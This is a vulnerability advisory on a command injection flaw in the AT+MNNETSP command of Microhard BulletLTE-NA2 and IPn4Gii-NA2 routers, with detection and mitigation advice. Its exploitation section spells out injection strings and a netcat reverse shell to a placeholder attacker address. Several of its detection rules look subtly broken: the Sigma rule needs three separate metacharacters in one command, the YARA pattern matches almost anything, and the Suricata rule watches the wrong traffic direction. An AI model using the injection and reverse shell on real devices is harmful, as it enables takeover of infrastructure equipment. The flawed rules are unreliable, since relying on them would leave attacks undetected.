CVE-2025-35009

Executive Summary

CVE-2025-35009 is a post-authentication command injection vulnerability affecting Microhard BulletLTE-NA2 and IPn4Gii-NA2 devices. The flaw resides in the AT+MNNETSP command, where improper neutralization of argument delimiters (CWE-88) allows an authenticated attacker to inject arbitrary operating system commands. Successful exploitation leads to privilege escalation, enabling full control over the device’s operating system. With a CVSS score of 7.1 (High), this vulnerability poses a significant risk to critical infrastructure and remote communication systems relying on these cellular routers. No public exploit code or patch is currently available, making detection and mitigation critical.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
• Base Score: 7.1 (High)
• Attack Vector: Local (AV:L) – Requires local network access to the device’s management interface.
• Attack Complexity: Low (AC:L) – No special conditions required beyond authentication.
• Privileges Required: Low (PR:L) – Attacker needs a valid low-privileged account.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Exploitation stays within the vulnerable component.
• Confidentiality Impact: High (C:H) – Full read access to device files and network traffic.
• Integrity Impact: High (I:H) – Full write access, including firmware modification.
• Availability Impact: None (A:N) – No direct denial-of-service, but command injection could lead to system crash.

Threat Level: High – Exploitation can lead to complete device compromise, lateral movement, and persistent access in critical infrastructure environments.

Deep Dive & Mechanics

The vulnerability exists in the AT command parser of the Microhard cellular router firmware. The AT+MNNETSP command is used to configure network service parameters. Due to improper input validation, the command does not sanitize argument delimiters (e.g., semicolons, pipes, or newlines) before passing the user-supplied string to the underlying shell.

Technical Flow:

1. An authenticated user sends an AT command via the serial console, Telnet, or SSH management interface.
2. The command AT+MNNETSP=<param1>,<param2> is processed.
3. The firmware concatenates the parameters into a shell command without escaping special characters.
4. An attacker can inject a delimiter (e.g., ; or |) followed by arbitrary OS commands.
5. The injected commands execute with the privileges of the device’s main process (typically root).

Example Injection:

AT+MNNETSP=1,2; id

This would execute the id command after the legitimate network service parameter.

Root Cause: CWE-88 – Improper Neutralization of Argument Delimiters in a Command. The firmware uses a function like system() or popen() without sanitizing shell metacharacters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

void process_AT_MNNETSP(char *params) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "net_service_set %s", params);
    system(cmd);  // Vulnerable: params can contain shell metacharacters
}

Patched Code (Conceptual):

void process_AT_MNNETSP(char *params) {
    // Sanitize input: remove or escape shell metacharacters
    char sanitized[256];
    sanitize_input(params, sanitized, sizeof(sanitized)); // e.g., remove ; | & ` $ ( ) { } < > newline
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "net_service_set %s", sanitized);
    system(cmd);
}

Key Difference: The patched version uses a sanitization function to strip or escape shell metacharacters before passing the input to system(). Alternatively, using execve() with a fixed argument list would eliminate the shell entirely.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the device’s management interface (serial, Telnet, or SSH).
• Valid low-privileged credentials (e.g., user:user).

Exploitation Steps:

1. Connect to the device via Telnet or SSH.
2. Authenticate with low-privileged credentials.
3. Send the malicious AT command:

   AT+MNNETSP=1,2; id > /tmp/exploit.txt
   

4. Verify command execution by reading the output file:

   cat /tmp/exploit.txt
   

5. Escalate privileges by injecting a reverse shell:

   AT+MNNETSP=1,2; /bin/busybox nc <attacker_ip> 4444 -e /bin/sh
   

Lab Setup:

• Use a Microhard BulletLTE-NA2 or IPn4Gii-NA2 device (or emulator).
• Attacker machine with netcat listener: nc -lvnp 4444
• Network connectivity between attacker and device management interface.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor AT command logs for unusual patterns (e.g., semicolons, pipes, or shell commands).
2. Alert on execution of system() or popen() with user-controlled input.
3. Use the YARA and Sigma rules provided in the Detection Engineering section.

Response:

1. Isolate the affected device from the network.
2. Review authentication logs for unauthorized access.
3. Check for unauthorized processes or reverse shells.
4. Apply vendor patch when available, or implement network-level filtering.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from the device to unusual IPs/ports (e.g., 4444/tcp).
  • AT command strings containing shell metacharacters (;, |, &, `).
• File IOCs:
  • Unexpected files in /tmp/ (e.g., exploit.txt, pwned).
  • Modified system binaries or scripts.
• Process IOCs:
  • Unusual processes like nc, bash, sh spawned by the main firmware process.
• Log IOCs:
  • Repeated failed authentication attempts followed by successful login.
  • AT command logs with injected commands.

Detection Engineering

YARA Rule

rule CVE_2025_35009_AT_Command_Injection {
    meta:
        description = "Detects AT command injection attempts targeting Microhard BulletLTE-NA2 and IPn4Gii-NA2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-35009"
    strings:
        $at_cmd = "AT+MNNETSP" nocase
        $shell_meta = /[;&|`$(){}<>]/
    condition:
        $at_cmd and #shell_meta > 0
}

Sigma Rule

title: CVE-2025-35009 AT Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects AT command injection attempts targeting Microhard cellular routers
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-35009
logsource:
    product: microhard
    service: at_command_log
detection:
    selection:
        Command|contains|all:
            - 'AT+MNNETSP'
            - ';'
            - '|'
            - '&'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameter values (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-35009 AT Command Injection Attempt"; flow:to_server,established; content:"AT+MNNETSP"; nocase; pcre:"/AT\+MNNETSP=[^;]*[;&|`$(){}<>]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit management interface access to trusted IPs only via firewall rules.
2. Change Default Credentials: Ensure all accounts use strong, unique passwords.
3. Disable Unused Services: Disable Telnet and SSH if not required; use serial console only with physical access.
4. Monitor Logs: Enable and monitor AT command logs for suspicious patterns.

Long-Term Fix:

• Apply vendor patch when released. If no patch is available, consider replacing the device with a patched alternative.
• Implement input validation at the application layer to sanitize AT command parameters.

Workaround:

• Use a reverse proxy or jump host that filters AT commands before forwarding to the device.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert